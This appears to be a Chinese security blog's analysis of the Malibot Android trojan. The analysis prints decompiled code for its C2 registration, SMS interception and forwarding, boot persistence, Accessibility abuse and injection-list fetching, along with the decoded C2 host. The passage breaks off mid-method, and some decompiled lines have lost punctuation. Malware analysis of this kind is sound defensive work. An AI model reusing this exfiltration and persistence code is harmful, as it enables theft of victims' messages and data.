Malibot分析

百家 作者:Chamd5安全团队 2022-07-02 08:21:40

在浏览安全客时发现,Malibot伪装成钱包和浏览器以便窃取数据。于是火速从Malwarebazzar下个样本,开始分析。

样本信息

样本格式sha256
malibotapkb12dd66de4d180d4bbf4ae23f66bac875b3a9da455d9010720f0840541366490

初步运行

安装后的图标如下

伪装成了加密APP


会不断有Toast、弹窗、通知提示受害者打开Accessibility权限。这里还得手速快才能给权限,否则就是重复通知,重复弹设置(用户体验急剧下降)

如果点击允许,APP会自动打开设置并给自己授予权限。并Toast "The App is secured",怎么感觉和现实中某些推销场景有点像。。。

另外还有个默认桌面选择,可能是由于Android版本不匹配的问题,App没办法给自己授予默认桌面管理器。

然后再点击App图标没反应,想设置App权限、关闭Accessibility权限都会直接闪退,并Toast "The App is secured",(这么着急还想让人相信你?)

然后试了下adb可以卸载

Manifest分析

<permission android:label="@string/permlab_read_settings" android:name="werwerwee.qwetrydsf.yfdefes.permission.READ_SETTINGS" android:protectionLevel="signature" android:permissionGroup="android.permission-group.SYSTEM_TOOLS" android:description="@string/permdesc_read_settings"/>
    <permission android:label="@string/permlab_write_settings" android:name="werwerwee.qwetrydsf.yfdefes.permission.WRITE_SETTINGS" android:protectionLevel="signature" android:permissionGroup="android.permission-group.SYSTEM_TOOLS" android:description="@string/permdesc_write_settings"/>
    <uses-permission android:name="com.android.launcher.permission.READ_SETTINGS"/>
    <uses-permission android:name="com.android.launcher.permission.WRITE_SETTINGS"/>
    <uses-permission android:name="werwerwee.qwetrydsf.yfdefes.permission.READ_SETTINGS"/>
    <uses-permission android:name="werwerwee.qwetrydsf.yfdefes.permission.WRITE_SETTINGS"/>
    <uses-permission android:name="android.permission.EXPAND_STATUS_BAR"/>
    <uses-permission android:name="android.permission.INTERNET"/>
    <uses-permission android:name="android.permission.ACCESS_NETWORK_STATE"/>
    <uses-permission android:name="android.permission.RECEIVE_BOOT_COMPLETED"/>
    <uses-permission android:name="android.permission.FOREGROUND_SERVICE"/>
    <uses-permission android:name="android.permission.WAKE_LOCK"/>
    <uses-permission android:name="android.permission.SYSTEM_ALERT_WINDOW"/>
    <uses-permission android:name="android.permission.REORDER_TASKS"/>
    <uses-permission android:name="android.permission.REQUEST_IGNORE_BATTERY_OPTIMIZATIONS"/>
    <uses-permission android:name="android.permission.REQUEST_DELETE_PACKAGES"/>
    <uses-permission android:name="android.permission.REQUEST_INSTALL_PACKAGES"/>
    <uses-permission android:name="android.permission.QUERY_ALL_PACKAGES"/>
    <uses-permission android:name="android.permission.RECEIVE_SMS"/>
    <uses-permission android:name="android.permission.SEND_SMS"/>
    <permission android:label="@string/permlab_install_shortcut" android:name="com.android.launcher.permission.INSTALL_SHORTCUT" android:protectionLevel="dangerous" android:permissionGroup="android.permission-group.SYSTEM_TOOLS" android:description="@string/permdesc_install_shortcut"/>
    <uses-feature android:name="android.hardware.telephony" android:required="false"/>
    <uses-permission android:name="android.permission.CALL_PHONE"/>
    <uses-permission android:name="android.permission.SET_WALLPAPER"/>
    <uses-permission android:name="android.permission.SET_WALLPAPER_HINTS"/>
    <uses-permission android:name="android.permission.BIND_APPWIDGET"/>
    <uses-permission android:name="android.permission.READ_EXTERNAL_STORAGE"/>
  • 允许更改设置

  • 允许网络权限

  • 允许弹窗,并且不好关闭

  • REORDER_TASKS:查了一下资料,这个是允许Activity的z轴排列,也就是让APP始终处于最前面,不胜其烦

  • 忽略电池优化,防止被关闭

  • 查询包和删除包,可能是对抗防病毒软件

  • 收发短信、打电话权限、读取外部存储

主Activity是一个Launcher,并且也注册了Launcher的provider。另外还有一个Activity也是主Activity

<activity android:name="com.google.android.apps.nexuslauncher.NexusLauncherActivity" android:enabled="true" android:taskAffinity="" android:clearTaskOnLaunch="true" android:stateNotNeeded="true" android:launchMode="singleTask" android:screenOrientation="nosensor" android:configChanges="navigation|keyboardHidden|keyboard" android:windowSoftInputMode="adjustPan" android:hardwareAccelerated="true" android:resumeWhilePausing="true" android:resizeableActivity="true">
            <intent-filter>
                <action android:name="android.intent.action.MAIN"/>
                <category android:name="android.intent.category.HOME"/>
                <category android:name="android.intent.category.DEFAULT"/>
                <category android:name="android.intent.category.MONKEY"/>
                <category android:name="android.intent.category.LAUNCHER_APP"/>
            </intent-filter>
        </activity>
        <activity android:theme="@style/SettingsTheme" android:label="@string/settings_button_text" android:name="com.google.android.apps.nexuslauncher.SettingsActivity" android:autoRemoveFromRecents="true">
            <intent-filter>
                <action android:name="android.intent.action.APPLICATION_PREFERENCES"/>
                <category android:name="android.intent.category.DEFAULT"/>
            </intent-filter>
        </activity><provider android:name="com.google.android.apps.nexuslauncher.search.AppSearchProvider" android:exported="true" android:authorities="werwerwee.qwetrydsf.yfdefes.appssearch"/>
<activity android:theme="@style/AppTheme_Transparent" android:name="amirz.rootless.nexuslauncher.StartActivity" android:exported="true">
            <intent-filter>
                <action android:name="android.intent.action.MAIN"/>
                <category android:name="android.intent.category.LAUNCHER"/>
            </intent-filter>
        </activity>

剩下的就是Service和BrocastReceiver,稍后会一并分析。

主Activity

经过分析代码,第二个主Activity才是点击时运行的,主要代码如下

protected void onCreate(Bundle bundle) {
        super.onCreate(bundle);
        setContentView(R.layout.activity_start);
        if (!Settings.registered$default(this.settings, null1null)) {
            register();
        }
        StartActivity startActivity = this;
        if (!AccessibilityExtensionsKt.permissionsComplete(startActivity)) {
            ServiceExtensionsKt.checkBackgroundService(startActivity);
            if (!AccessibilityExtensionsKt.isAccessibilityEnabled(startActivity)) {
                AccessibilityExtensionsKt.requestAccessibility$default(startActivity, false1null);
            }
        } else {
            BaseExtensionsKt.runApp(startActivity, BuildConfig.DEFAULT_APP);
        }
        ServiceExtensionsKt.startAlarmTrigger$default(startActivity, 0Lnull3null);
        finish();
    }

如果没有注册,则先注册上线

@Override // kotlin.coroutines.jvm.internal.BaseContinuationImpl
    public final Object invokeSuspend(Object obj) {
        Object obj2;
        String str;
        Object obj3;
        Pair[] pairArr;
        Pair[] pairArr2;
        String str2;
        Settings settings;
        Settings settings2;
        Settings settings3;
        Object coroutine_suspended = IntrinsicsKt.getCOROUTINE_SUSPENDED();
        int i = this.label;
        int i2 = 1;
        if (i == 0) {
            ResultKt.throwOnFailure(obj);
            settings = this.this$0.settings;
            if (Settings.botId$default(settings, null1null).length() == 0) {
                settings3 = this.this$0.settings;
                settings3.botId(BaseExtensionsKt.getDeviceId(this.this$0));
            }
            Pair[] pairArr3 = new Pair[8];
            settings2 = this.this$0.settings;
            pairArr3[0] = TuplesKt.to("botid", Settings.botId$default(settings2, null1null));
            this.L$0 = pairArr3;
            this.L$1 = "newconnect";
            this.L$2 = pairArr3;
            this.L$3 = "botip";
            this.I$0 = 1;
            this.label = 1;
            obj3 = new IPAddress().execute(this);
            if (obj3 == coroutine_suspended) {
                return coroutine_suspended;
            }
            str = "newconnect";
            pairArr = pairArr3;
            str2 = "botip";
            pairArr2 = pairArr;
        } else if (i != 1) {
            if (i == 2) {
                ResultKt.throwOnFailure(obj);
                obj2 = obj;
                String str3 = (String) obj2;
                return Unit.INSTANCE;
            }
            throw new IllegalStateException("call to 'resume' before 'invoke' with coroutine");
        } else {
            i2 = this.I$0;
            str2 = (String) this.L$3;
            pairArr2 = (Pair[]) this.L$2;
            ResultKt.throwOnFailure(obj);
            str = (String) this.L$1;
            pairArr = (Pair[]) this.L$0;
            obj3 = obj;
        }
        String str4 = (String) obj3;
        if (str4 == null) {
            str4 = "?";
        }
        pairArr2[i2] = TuplesKt.to(str2, str4);
        pairArr[2] = TuplesKt.to("botkey", Config.INSTANCE.getKey());
        pairArr[3] = TuplesKt.to("android", Build.VERSION.RELEASE);
        pairArr[4] = TuplesKt.to("model", Utils.INSTANCE.getDeviceModel());
        pairArr[5] = TuplesKt.to("battery", BaseExtensionsKt.getBattery(this.this$0));
        pairArr[6] = TuplesKt.to("lang", Utils.INSTANCE.getLocale());
        pairArr[7] = TuplesKt.to("packagelist", CollectionsKt.joinToString$default(BaseExtensionsKt.getApps(this.this$0), ","nullnull0nullnull62null));
        this.L$0 = null;
        this.L$1 = null;
        this.L$2 = null;
        this.L$3 = null;
        this.label = 2;
        obj2 = new Send(null, str, MapsKt.mutableMapOf(pairArr), 1null).execute(this);
        if (obj2 == coroutine_suspended) {
            return coroutine_suspended;
        }
        String str32 = (String) obj2;
        return Unit.INSTANCE;
    }

注册上线就发送受害者的一些信息给远程,包括Android版本,电池、语言和软件包列表等。并且表明是"newconnect"。

检测了Accessibility权限,并且检测后台服务。如果已经有权限了就运行chrome,但是模拟器上没安装chrome,所以点击之后没反应。最后还设置了一个AlarmTrigger,用于触发各种动作

public static final boolean isAccessibilityEnabled(Context context) {
        int i;
        String string;
        Intrinsics.checkNotNullParameter(context, "<this>");
        String sb = new StringBuilder().append((Object) context.getPackageName()).append('/').append((Object) AccessibilityService.class.getName()).toString();
        try {
            i = Settings.Secure.getInt(context.getApplicationContext().getContentResolver(), "accessibility_enabled");
        } catch (Settings.SettingNotFoundException unused) {
            i = 0;
        }
        TextUtils.SimpleStringSplitter simpleStringSplitter = new TextUtils.SimpleStringSplitter(StringsKt.single(":"));
        if (i == 1 && (string = Settings.Secure.getString(context.getApplicationContext().getContentResolver(), "enabled_accessibility_services")) != null) {
            simpleStringSplitter.setString(string);
            while (simpleStringSplitter.hasNext()) {
                if (StringsKt.equals(simpleStringSplitter.next(), sb, true)) {
                    return true;
                }
            }
        }
        return false;
    }

    public static final boolean permissionsComplete(Context context) {
        Intrinsics.checkNotNullParameter(context, "<this>");
        return isAccessibilityEnabled(context);
    }

如果没有后台服务就运行后台服务

public static final void checkBackgroundService(Context context) {
        Intrinsics.checkNotNullParameter(context, "<this>");
        try {
            if (isServiceRunning(context, BackgroundService.class)) {
                return;
            }
            context.startService(new Intent(context, BackgroundService.class));
        } catch (Exception unused) {
        }
    }

然后开始申请Accessibility权限

public static final void requestAccessibility(Context context, boolean z) {
        Intrinsics.checkNotNullParameter(context, "<this>");
        try {
            Intent newIntent = AccessibilityRequestActivity.Companion.newIntent(context);
            if (z) {
                newIntent.putExtra("sms""1");
            }
            context.startActivity(newIntent);
        } catch (Exception unused) {
        }
    }

然后就到了运行时的无限弹窗

@Override // android.app.Activity
    protected void onCreate(Bundle bundle) {
        super.onCreate(bundle);
        setContentView(R.layout.activity_request_accessibility);
        AccessibilityRequestActivity accessibilityRequestActivity = this;
        if (AccessibilityExtensionsKt.isAccessibilityEnabled(accessibilityRequestActivity)) {
            if (checkSelfPermission("android.permission.RECEIVE_SMS") != 0) {
                requestPermissions(new String[]{"android.permission.RECEIVE_SMS""android.permission.SEND_SMS"}, 100);
                return;
            }
            if (getIntent().getStringExtra("sms") == null) {
                BaseExtensionsKt.runApp(accessibilityRequestActivity, BuildConfig.DEFAULT_APP);
            }
            finish();
            return;
        }
        try {
            if (isFinishing()) {
                return;
            }
            this.alertDialog = new AlertDialog.Builder(this).setIcon(R.mipmap.ic_launcher).setTitle(getString(R.string.app_name)).setMessage(getString(R.string.enable_accessibility_message)).setPositiveButton("Enable"new DialogInterface.OnClickListener() { // from class: com.fdjsfkas.kdjklslf.ui.activities.AccessibilityRequestActivity$$ExternalSyntheticLambda0
                @Override // android.content.DialogInterface.OnClickListener
                public final void onClick(DialogInterface dialogInterface, int i) {
                    AccessibilityRequestActivity.m7onCreate$lambda0(AccessibilityRequestActivity.this, dialogInterface, i);
                }
            }).setCancelable(false).show();
        } catch (Exception unused) {
        }
    }

    /* JADX INFO: Access modifiers changed from: private */
    /* renamed from: onCreate$lambda-0  reason: not valid java name */
    public static final void m7onCreate$lambda0(AccessibilityRequestActivity this$0, DialogInterface dialogInterface, int i) {
        Intrinsics.checkNotNullParameter(this$0"this$0");
        this$0.startActivity(new Intent("android.settings.ACCESSIBILITY_SETTINGS"));
        this$0.finish();
        dialogInterface.dismiss();
    }

并且按钮还无法取消

AlarmTrigger分析

public static /* synthetic */ void startAlarmTrigger$default(Context context, long j, String startAlarmTrigger$defaultint i, Object obj) {
        if ((i & 1) != 0) {
            j = 2000;
        }
        if ((i & 2) != 0) {
            startAlarmTrigger$default = context.getPackageName();
            Intrinsics.checkNotNullExpressionValue(startAlarmTrigger$default"startAlarmTrigger$default");
        }
        startAlarmTrigger(context, j, startAlarmTrigger$default);
    }

    private static final void startAlarmTrigger$setReminder(Context context) {
        AlarmManager alarmManager = (AlarmManager) context.getSystemService(NotificationCompat.CATEGORY_ALARM);
        Calendar calendar = Calendar.getInstance();
        Intrinsics.checkNotNullExpressionValue(calendar, "getInstance()");
        calendar.add(135);
        Intent intent = new Intent(context, AlarmReceiver.class);
        intent.setFlags(268435456);
        PendingIntent broadcast = PendingIntent.getBroadcast(context, RandomKt.Random(System.currentTimeMillis()).nextInt(3), intent, 201326592);
        Intrinsics.checkNotNull(alarmManager);
        alarmManager.set(1, calendar.getTimeInMillis(), broadcast);
        Timber.d("Triggering alarm"new Object[0]);
    }

在5秒后会发送一个广播,让alarmReceiver接收

public final class AlarmReceiver extends BroadcastReceiver {
    @Override // android.content.BroadcastReceiver
    public void onReceive(Context context, Intent intent) {
        Intrinsics.checkNotNullParameter(intent, "intent");
        if (context == null) {
            return;
        }
        Timber.d("Triggered receiver"new Object[0]);
        ServiceExtensionsKt.checkBackgroundService(context);
        ServiceExtensionsKt.startAlarmTrigger$default(context, 0Lnull3null);
    }
}

检测后台服务并且设置下一个AlarmTrigger

检测后台服务

public static final void checkBackgroundService(Context context) {
        Intrinsics.checkNotNullParameter(context, "<this>");
        try {
            if (isServiceRunning(context, BackgroundService.class)) {
                return;
            }
            context.startService(new Intent(context, BackgroundService.class));
        } catch (Exception unused) {
        }
    }
public int onStartCommand(Intent intent, int i, int i2) {
        try {
            initTasks();
            acquireWakeLock();
            registerPhoneUnlockReceiver();
            registerScreenReceiver();
            return 1;
        } catch (Exception unused) {
            return 1;
        }
    }

获取wakeLock权限,并且注册解锁、屏幕控制的广播接收器。

initTasks内启动了其它三个类

public final Object invokeSuspend(Object obj) {
        IntrinsicsKt.getCOROUTINE_SUSPENDED();
        if (this.label == 0) {
            ResultKt.throwOnFailure(obj);
            BuildersKt__Builders_commonKt.launch$default(GlobalScope.INSTANCE, Dispatchers.getIO(), nullnew AnonymousClass1(this.this$0null), 2null);
            BuildersKt__Builders_commonKt.launch$default(GlobalScope.INSTANCE, Dispatchers.getIO(), nullnew AnonymousClass2(this.this$0null), 2null);
            BuildersKt__Builders_commonKt.launch$default(GlobalScope.INSTANCE, Dispatchers.getIO(), nullnew AnonymousClass3(this.this$0null), 2null);
            return Unit.INSTANCE;
        }
        throw new IllegalStateException("call to 'resume' before 'invoke' with coroutine");
    }

第一个类展示了包名

public final Object invokeSuspend(Object obj) {
                IntrinsicsKt.getCOROUTINE_SUSPENDED();
                if (this.label == 0) {
                    ResultKt.throwOnFailure(obj);
                    Context applicationContext = this.this$0.getApplicationContext();
                    BackgroundService backgroundService = this.this$0;
                    Toast.makeText(applicationContext, backgroundService.getString(R.string.enable_to_asb, new Object[]{backgroundService.getString(R.string.app_name)}), 1).show();
                    return Unit.INSTANCE;
                }
                throw new IllegalStateException("call to 'resume' before 'invoke' with coroutine");
            }

第二个类停用前台

public final Object invokeSuspend(Object obj) {
                IntrinsicsKt.getCOROUTINE_SUSPENDED();
                if (this.label == 0) {
                    ResultKt.throwOnFailure(obj);
                    this.this$0.stopForeground(true);
                    return Unit.INSTANCE;
                }
                throw new IllegalStateException("call to 'resume' before 'invoke' with coroutine");
            }

第三个类,反编译失败了,但是看起来依然是执行了第一个类

public final java.lang.Object invokeSuspend(java.lang.Object r11) {
r10 = this;
java.lang.Object r0 = kotlin.coroutines.intrinsics.IntrinsicsKt.getCOROUTINE_SUSPENDED()
int r1 = r10.label
r2 = 0
r3 = 1
if (r1 == 0) goto L19
if (r1 != r3) goto L11
kotlin.ResultKt.throwOnFailure(r11)
r11 = r10
goto L47
L11:
java.lang.IllegalStateException r11 = new java.lang.IllegalStateException
java.lang.String r0 = "call to 'resume' before 'invoke' with coroutine"
r11.<init>(r0)
throw r11
L19:
kotlin.ResultKt.throwOnFailure(r11)
r11 = r10
L1d:
kotlinx.coroutines.GlobalScope r1 = kotlinx.coroutines.GlobalScope.INSTANCE // Catch: java.lang.Exception -> L39
r4 = r1
kotlinx.coroutines.CoroutineScope r4 = (kotlinx.coroutines.CoroutineScope) r4 // Catch: java.lang.Exception -> L39
kotlinx.coroutines.CoroutineDispatcher r1 = kotlinx.coroutines.Dispatchers.getIO() // Catch: java.lang.Exception -> L39
r5 = r1
kotlin.coroutines.CoroutineContext r5 = (kotlin.coroutines.CoroutineContext) r5 // Catch: java.lang.Exception -> L39
r6 = 0
com.fdjsfkas.kdjklslf.services.BackgroundService$initTasks$1$3$1 r1 = new com.fdjsfkas.kdjklslf.services.BackgroundService$initTasks$1$3$1 // Catch: java.lang.Exception -> L39
com.fdjsfkas.kdjklslf.services.BackgroundService r7 = r11.this$0 // Catch: java.lang.Exception -> L39
r1.<init>(r7, r2) // Catch: java.lang.Exception -> L39
r7 = r1
kotlin.jvm.functions.Function2 r7 = (kotlin.jvm.functions.Function2) r7 // Catch: java.lang.Exception -> L39
r8 = 2
r9 = 0
kotlinx.coroutines.BuildersKt.launch$default(r4, r5, r6, r7, r8, r9) // Catch: java.lang.Exception -> L39
L39:
r4 = 10000(0x2710, double:4.9407E-320)
r1 = r11
kotlin.coroutines.Continuation r1 = (kotlin.coroutines.Continuation) r1
r11.label = r3
java.lang.Object r1 = kotlinx.coroutines.DelayKt.delay(r4, r1)
if (r1 != r0) goto L47
return r0
L47:
com.fdjsfkas.kdjklslf.services.BackgroundService r1 = r11.this$0
com.fdjsfkas.kdjklslf.utils.Logger r1 = r1.getLogger()
boolean r1 = r1.haveSomethingToSend()
if (r1 == 0) goto L65
com.fdjsfkas.kdjklslf.services.BackgroundService r1 = r11.this$0 // Catch: java.lang.Exception -> L5d
com.fdjsfkas.kdjklslf.utils.Logger r1 = r1.getLogger() // Catch: java.lang.Exception -> L5d
r1.flush() // Catch: java.lang.Exception -> L5d
goto L65
L5d:
r1 = 0
java.lang.Object[] r1 = new java.lang.Object[r1]
java.lang.String r4 = "logger cant push now"
timber.log.Timber.d(r4, r1)
L65:
kotlinx.coroutines.GlobalScope r1 = kotlinx.coroutines.GlobalScope.INSTANCE
r4 = r1
kotlinx.coroutines.CoroutineScope r4 = (kotlinx.coroutines.CoroutineScope) r4
kotlinx.coroutines.CoroutineDispatcher r1 = kotlinx.coroutines.Dispatchers.getIO()
r5 = r1
kotlin.coroutines.CoroutineContext r5 = (kotlin.coroutines.CoroutineContext) r5
r6 = 0
com.fdjsfkas.kdjklslf.services.BackgroundService$initTasks$1$3$2 r1 = new com.fdjsfkas.kdjklslf.services.BackgroundService$initTasks$1$3$2
com.fdjsfkas.kdjklslf.services.BackgroundService r7 = r11.this$0
r1.<init>(r7, r2)
r7 = r1
kotlin.jvm.functions.Function2 r7 = (kotlin.jvm.functions.Function2) r7
r8 = 2
r9 = 0
kotlinx.coroutines.BuildersKt.launch$default(r4, r5, r6, r7, r8, r9)
goto L1d

throw new UnsupportedOperationException("Method not decompiled: com.fdjsfkas.kdjklslf.services.BackgroundService$initTasks$1.AnonymousClass3.invokeSuspend(java.lang.Object):java.lang.Object");
}

Accessibility服务分析

@Override // android.accessibilityservice.AccessibilityService
    protected void onServiceConnected() {
        super.onServiceConnected();
        BuildersKt__Builders_commonKt.launch$default(GlobalScope.INSTANCE, Dispatchers.getIO(), nullnew AccessibilityService$onServiceConnected$1(null), 2null);
        AccessibilityServiceInfo accessibilityServiceInfo = new AccessibilityServiceInfo();
        accessibilityServiceInfo.flags = 33;
        accessibilityServiceInfo.eventTypes = -1;
        accessibilityServiceInfo.feedbackType = -1;
        setServiceInfo(accessibilityServiceInfo);
        this.bus.setOnBackPressed(new AccessibilityService$onServiceConnected$2(this));
        this.bus.setOnHomePressed(new AccessibilityService$onServiceConnected$3(this));
        this.bus.setOnNodeClickXY(new AccessibilityService$onServiceConnected$4(this));
        this.bus.setOnNodeClick(AccessibilityService$onServiceConnected$5.INSTANCE);
        this.bus.setClickOnPoint(new AccessibilityService$onServiceConnected$6(this));
        AccessibilityExtensionsKt.back(this.bus, 4100L);
        BuildersKt__Builders_commonKt.launch$default(GlobalScope.INSTANCE, Dispatchers.getIO(), nullnew AccessibilityService$onServiceConnected$7(thisnull), 2null);
    }

    @Override // android.accessibilityservice.AccessibilityService
    public void onAccessibilityEvent(AccessibilityEvent accessibilityEvent) {
        if (!Intrinsics.areEqual(accessibilityEvent == null ? null : accessibilityEvent.getPackageName(), getPackageName())) {
            ServiceExtensionsKt.checkBackgroundService(this);
            Timber.d(Intrinsics.stringPlus("accessibility event ", accessibilityEvent), new Object[0]);
            try {
                AccessibilityNodeInfo rootInActiveWindow = getRootInActiveWindow();
                if (rootInActiveWindow != null) {
                    this.bus.setRootNode(new AccessibilityService$onAccessibilityEvent$1$1(rootInActiveWindow));
                }
            } catch (Exception unused) {
            }
            Engine engine = this.engine;
            if (accessibilityEvent == null) {
                return;
            }
            engine.processThisEvent(accessibilityEvent);
        }
    }

覆盖了返回键、Home键和点击动作,并且获取了AccessibilityEvent

Receiver分析

从Manifest中可以看到注册了几个其它的Receiver,逐一分析

SMSReceiver

<receiver android:name="com.fdjsfkas.kdjklslf.receivers.SMSReceiver" android:enabled="true" android:exported="true">
            <intent-filter android:priority="9999">
                <action android:name="android.provider.Telephony.SMS_RECEIVED"/>
            </intent-filter>
        </receiver>

最高优先级

public void onReceive(Context context, Intent intent) {
        Intrinsics.checkNotNullParameter(intent, "intent");
        int i = 0;
        Timber.d("SMS Received"new Object[0]);
        if (context != null) {
            try {
                ServiceExtensionsKt.checkBackgroundService(context);
            } catch (Exception unused) {
                return;
            }
        }
        if (context == null) {
            return;
        }
        SmsMessage[] messagesFromIntent = Telephony.Sms.Intents.getMessagesFromIntent(intent);
        Intrinsics.checkNotNullExpressionValue(messagesFromIntent, "getMessagesFromIntent(intent)");
        int length = messagesFromIntent.length;
        while (i < length) {
            SmsMessage smsMessage = messagesFromIntent[i];
            Intrinsics.checkNotNullExpressionValue(smsMessage, "Telephony.Sms.Intents.ge…essagesFromIntent(intent)");
            i++;
            try {
                BuildersKt__Builders_commonKt.launch$default(GlobalScope.INSTANCE, Dispatchers.getIO(), nullnew SMSReceiver$onReceive$1$1(smsMessage, null), 2null);
            } catch (Exception unused2) {
            }
        }
    }

首先检测后台权限,并且获取所有收到的短信,通过BuildersKt__Builders_commonKt创建后台任务并发送短信

@Override // kotlin.coroutines.jvm.internal.BaseContinuationImpl
    public final Object invokeSuspend(Object obj) {
        Object coroutine_suspended = IntrinsicsKt.getCOROUTINE_SUSPENDED();
        int i = this.label;
        if (i == 0) {
            ResultKt.throwOnFailure(obj);
            Pair[] pairArr = {TuplesKt.to("number", String.valueOf(this.$sms.getDisplayOriginatingAddress())), TuplesKt.to("text", String.valueOf(this.$sms.getMessageBody()))};
            this.label = 1;
            if (new Send(null"newsms", MapsKt.mutableMapOf(pairArr), 1null).execute(this) == coroutine_suspended) {
                return coroutine_suspended;
            }
        } else if (i != 1) {
            throw new IllegalStateException("call to 'resume' before 'invoke' with coroutine");
        } else {
            ResultKt.throwOnFailure(obj);
        }
        return Unit.INSTANCE;
    }

Send类

public final class Send extends BaseRequest1 {
    private final String method;
    private final Map<String, String> params;
    private final String type;

    public Send(String type, String method, Map<String, String> params) {
        Intrinsics.checkNotNullParameter(type, "type");
        Intrinsics.checkNotNullParameter(method, "method");
        Intrinsics.checkNotNullParameter(params, "params");
        this.type = type;
        this.method = method;
        this.params = params;
    }

    public /* synthetic */ Send(String str, String str2, Map map, int i, DefaultConstructorMarker defaultConstructorMarker) {
        this((i & 1) != 0 ? "GET" : str, str2, map);
    }

    @Override // com.fdjsfkas.kdjklslf.network.BaseRequest1
    public String getReqType() {
        return this.type;
    }

    @Override // com.fdjsfkas.kdjklslf.network.BaseRequest1
    public String getReqMethod() {
        return this.method;
    }

    @Override // com.fdjsfkas.kdjklslf.network.BaseRequest1
    public Map<String, String> getReqParams() {
        return this.params;
    }

    @Override // com.fdjsfkas.kdjklslf.network.BaseRequest1
    public Object execute(Continuation<? super String> continuation) {
        return super.execute(continuation);
    }
}

父类的execute方法

static /* synthetic */ Object execute$suspendImpl(BaseRequest1 baseRequest1, Continuation continuation) {
        if (!baseRequest1.getReqParams().containsKey("botid")) {
            if (Settings.Companion.getBotId().length() > 0) {
                baseRequest1.getReqParams().put("botid", Settings.Companion.getBotId());
            }
        }
        String urlEncode = Request.INSTANCE.urlEncode(baseRequest1.getReqParams());
        if (Intrinsics.areEqual(baseRequest1.getReqType(), "GET")) {
            String str = Config.INSTANCE.getHost() + "/api/?method=" + baseRequest1.getReqMethod() + Typography.amp + urlEncode;
            String str2 = Request.INSTANCE.get(str);
            Timber.d("GET Received (" + str + ") " + ((Object) str2), new Object[0]);
            return str2;
        } else if (!Intrinsics.areEqual(baseRequest1.getReqType(), "POST")) {
            return null;
        } else {
            String post = Request.INSTANCE.post(Config.INSTANCE.getHost() + "/api/" + baseRequest1.getReqMethod(), urlEncode);
            Timber.d(Intrinsics.stringPlus("POST Received ", post), new Object[0]);
            return post;
        }
    }

从BuildConfig中可以获取到各种配置信息

package com.android.launcher3;

/* loaded from: classes.dex */
public final class BuildConfig {
    public static final String APPLICATION_ID = "werwerwee.qwetrydsf.yfdefes";
    public static final String BUILD_TYPE = "release";
    public static final boolean DEBUG = false;
    public static final String DEFAULT_APP = "com.android.chrome";
    public static final String FLAVOR = "aosp";
    public static final int VERSION_CODE = 30911;
    public static final String VERSION_NAME = "3.9.1";
    public static final Boolean CIS = false;
    public static final String[] COUNTRY_IGNORES = {"AZ""AM""BY""KZ""KG""MD""RU""TJ""UZ""UA""ID"};
    // https://xireycicin.xyz
    public static final byte[] HOST = {104116116112115584747120105114101121991059910511046120121122};
    // crap
    public static final byte[] KEY = {9911497112};
}

BootReceiver

<receiver android:name="com.fdjsfkas.kdjklslf.receivers.BootReceiver" android:enabled="true" android:exported="true">
            <intent-filter android:priority="999">
                <action android:name="android.intent.action.BOOT_COMPLETED"/>
                <action android:name="com.htc.intent.action.QUICKBOOT_POWERON"/>
            </intent-filter>
        </receiver>

最高优先级,并且注意了HTC手机的私有权限

public final class BootReceiver extends BroadcastReceiver {
    @Override // android.content.BroadcastReceiver
    public void onReceive(Context context, Intent intent) {
        Intrinsics.checkNotNullParameter(intent, "intent");
        if (context == null) {
            return;
        }
        try {
            BuildersKt__Builders_commonKt.launch$default(GlobalScope.INSTANCE, Dispatchers.getIO(), nullnew BootReceiver$onReceive$1(null), 2null);
            ServiceExtensionsKt.checkBackgroundService(context);
        } catch (Exception unused) {
        }
    }
}

依然是经典的检测后台权限,然后使用BuildersKt__Builders_commonKt发送一个存活命令

@Override // kotlin.coroutines.jvm.internal.BaseContinuationImpl
    public final Object invokeSuspend(Object obj) {
        Object coroutine_suspended = IntrinsicsKt.getCOROUTINE_SUSPENDED();
        int i = this.label;
        if (i == 0) {
            ResultKt.throwOnFailure(obj);
            Pair[] pairArr = {TuplesKt.to("text""system restarted")};
            this.label = 1;
            if (new Send(null"newsystemsms", MapsKt.mutableMapOf(pairArr), 1null).execute(this) == coroutine_suspended) {
                return coroutine_suspended;
            }
        } else if (i != 1) {
            throw new IllegalStateException("call to 'resume' before 'invoke' with coroutine");
        } else {
            ResultKt.throwOnFailure(obj);
        }
        return Unit.INSTANCE;
    }

其它恶意行为

链接注入

public final class GetInjectList extends BaseRequest<ArrayList<Inject>> {
    private final String reqMethod = "injectlist";

    @Override // com.fdjsfkas.kdjklslf.network.BaseRequest
    public String getReqMethod() {
        return this.reqMethod;
    }

    @Override // com.fdjsfkas.kdjklslf.network.BaseRequest
    public Object execute(Continuation<? super ArrayList<Inject>> continuation) {
        if (!getReqParams().containsKey("botid")) {
            if (Settings.Companion.getBotId().length() > 0) {
                getReqParams().put("botid", Settings.Companion.getBotId());
            }
        }
        String str = Request.INSTANCE.get(Config.INSTANCE.getHost() + "/api/?method=" + getReqMethod() + Typography.amp + Request.INSTANCE.urlEncode(getReqParams()));
        Timber.d(Intrinsics.stringPlus("Received ", str), new Object[0]);
        try {
            Object fromJson = new Gson().fromJson(new JSONObject(str).getJSONArray("list").toString(), (Class<Object>) new ArrayList().getClass());
            Intrinsics.checkNotNullExpressionValue(fromJson, "{\n            val jsonOb…()::class.java)\n        }");
            return (ArrayList) fromJson;
        } catch (Exception unused) {
            return new ArrayList();
        }
    }
}

这里从服务器获取C2链接,botid作为请求字段,以区别不同的设备

@Override // kotlin.coroutines.jvm.internal.BaseContinuationImpl
    public final Object invokeSuspend(Object obj) {
        Object coroutine_suspended = IntrinsicsKt.getCOROUTINE_SUSPENDED();
        int i = this.label;
        if (i == 0) {
            ResultKt.throwOnFailure(obj);
            this.label = 1;
            obj = new GetInjectList().execute(this);
            if (obj == coroutine_suspended) {
                return coroutine_suspended;
            }
        } else if (i != 1) {
            throw new IllegalStateException("call to 'resume' before 'invoke' with coroutine");
        } else {
            ResultKt.throwOnFailure(obj);
        }
        Settings settings = this.$settings;
        InjectList injectList = new InjectList();
        injectList.addAll((ArrayList) obj);
        Unit unit = Unit.INSTANCE;
        settings.currentInjectList(injectList);
        BaseExtensionsKt.syncInjects(this.$this_checkInjects, this.$settings);
        return Unit.INSTANCE;
    }

调用了syncInjects方法,最终在BrowserActivity中执行了注入

@Override // android.app.Activity
    protected void onCreate(Bundle bundle) {
        super.onCreate(bundle);
        setContentView(R.layout.activity_web_view);
        View findViewById = findViewById(R.id.web_view);
        Intrinsics.checkNotNullExpressionValue(findViewById, "findViewById(R.id.web_view)");
        WebView webView = (WebView) findViewById;
